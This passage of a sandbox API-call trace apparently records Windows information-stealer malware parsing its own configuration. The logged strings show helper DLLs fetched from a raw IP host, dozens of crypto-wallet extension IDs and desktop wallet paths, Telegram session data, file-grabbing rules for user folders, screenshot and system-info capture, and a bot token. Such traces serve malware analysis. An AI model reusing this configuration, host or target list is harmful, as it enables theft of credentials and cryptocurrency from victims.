Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.852] lstrlenW (lpString="tlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 363 [0260.852] LocalAlloc (uFlags=0x40, uBytes=0x356) returned 0x6b9fc0 [0260.852] StrCpyW (in: psz1=0x6b9720, psz2="tlgrm" | out: psz1="tlgrm") returned="tlgrm" [0260.853] LocalFree (hMem=0x6b9fc0) returned 0x0 [0260.853] StrStrW (lpFirst="tlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.853] lstrcmpiW (lpString1="tlgrm", lpString2="libs") returned 1 [0260.853] LocalFree (hMem=0x6b9720) returned 0x0 [0260.853] LocalFree (hMem=0x6b9a00) returned 0x0 [0260.854] LocalFree (hMem=0x6b9ce0) returned 0x0 [0260.854] StrStrW (lpFirst="tlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.854] lstrlenW (lpString="grbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 286 [0260.854] lstrlenW (lpString="grbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 286 [0260.854] LocalAlloc (uFlags=0x40, uBytes=0x23c) returned 0x6b9720 [0260.854] lstrlenW (lpString="grbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 286 [0260.854] LocalAlloc (uFlags=0x40, uBytes=0x23c) returned 0x6b9968 [0260.854] lstrlenW (lpString="grbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 286 [0260.854] LocalAlloc (uFlags=0x40, uBytes=0x23c) returned 0x6b9bb0 [0260.854] StrStrW (lpFirst="grbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.854] lstrlenW (lpString="grbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 286 [0260.854] LocalAlloc (uFlags=0x40, uBytes=0x2bc) returned 0x6b9df8 [0260.854] StrCpyW (in: psz1=0x6b9720, psz2="grbr" | out: psz1="grbr") returned="grbr" [0260.854] LocalFree (hMem=0x6b9df8) returned 0x0 [0260.854] StrStrW (lpFirst="grbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.854] lstrcmpiW (lpString1="grbr", lpString2="libs") returned -1 [0260.855] LocalFree (hMem=0x6b9720) returned 0x0 [0260.855] LocalFree (hMem=0x6b9968) returned 0x0 [0260.855] LocalFree (hMem=0x6b9bb0) returned 0x0 [0260.855] StrStrW (lpFirst="grbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.855] lstrlenW (lpString="grbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 206 [0260.855] lstrlenW (lpString="grbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 206 [0260.855] LocalAlloc (uFlags=0x40, uBytes=0x19c) returned 0x6c56c8 [0260.855] lstrlenW (lpString="grbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 206 [0260.855] LocalAlloc (uFlags=0x40, uBytes=0x19c) returned 0x6b9720 [0260.855] lstrlenW (lpString="grbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 206 [0260.855] LocalAlloc (uFlags=0x40, uBytes=0x19c) returned 0x6b98c8 [0260.855] StrStrW (lpFirst="grbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.855] lstrlenW (lpString="grbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 206 [0260.855] LocalAlloc (uFlags=0x40, uBytes=0x21c) returned 0x6b9a70 [0260.856] StrCpyW (in: psz1=0x6c56c8, psz2="grbr" | out: psz1="grbr") returned="grbr" [0260.856] LocalFree (hMem=0x6b9a70) returned 0x0 [0260.856] StrStrW (lpFirst="grbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.856] lstrcmpiW (lpString1="grbr", lpString2="libs") returned -1 [0260.856] LocalFree (hMem=0x6c56c8) returned 0x0 [0260.856] LocalFree (hMem=0x6b9720) returned 0x0 [0260.857] LocalFree (hMem=0x6b98c8) returned 0x0 [0260.857] StrStrW (lpFirst="grbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.857] lstrlenW (lpString="grbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 122 [0260.857] lstrlenW (lpString="grbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 122 [0260.857] LocalAlloc (uFlags=0x40, uBytes=0xf4) returned 0x6cec70 [0260.857] lstrlenW (lpString="grbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 122 [0260.857] LocalAlloc (uFlags=0x40, uBytes=0xf4) returned 0x6e08b0 [0260.857] lstrlenW (lpString="grbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 122 [0260.857] LocalAlloc (uFlags=0x40, uBytes=0xf4) returned 0x6c56c8 [0260.857] StrStrW (lpFirst="grbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.857] lstrlenW (lpString="grbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 122 [0260.857] LocalAlloc (uFlags=0x40, uBytes=0x174) returned 0x6b9720 [0260.857] StrCpyW (in: psz1=0x6cec70, psz2="grbr" | out: psz1="grbr") returned="grbr" [0260.857] LocalFree (hMem=0x6b9720) returned 0x0 [0260.858] StrStrW (lpFirst="grbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.858] lstrcmpiW (lpString1="grbr", lpString2="libs") returned -1 [0260.858] LocalFree (hMem=0x6cec70) returned 0x0 [0260.858] LocalFree (hMem=0x6e08b0) returned 0x0 [0260.858] LocalFree (hMem=0x6c56c8) returned 0x0 [0260.858] StrStrW (lpFirst="grbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.858] lstrlenW (lpString="token:ecfd0f9298730a5c1fb78c7f49eedff3") returned 38 [0260.859] LocalFree (hMem=0x6e4288) returned 0x0 [0260.859] StrStrW (lpFirst="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="token:") returned="token:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.859] LocalAlloc (uFlags=0x40, uBytes=0x100) returned 0x6e08b0 [0260.860] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram 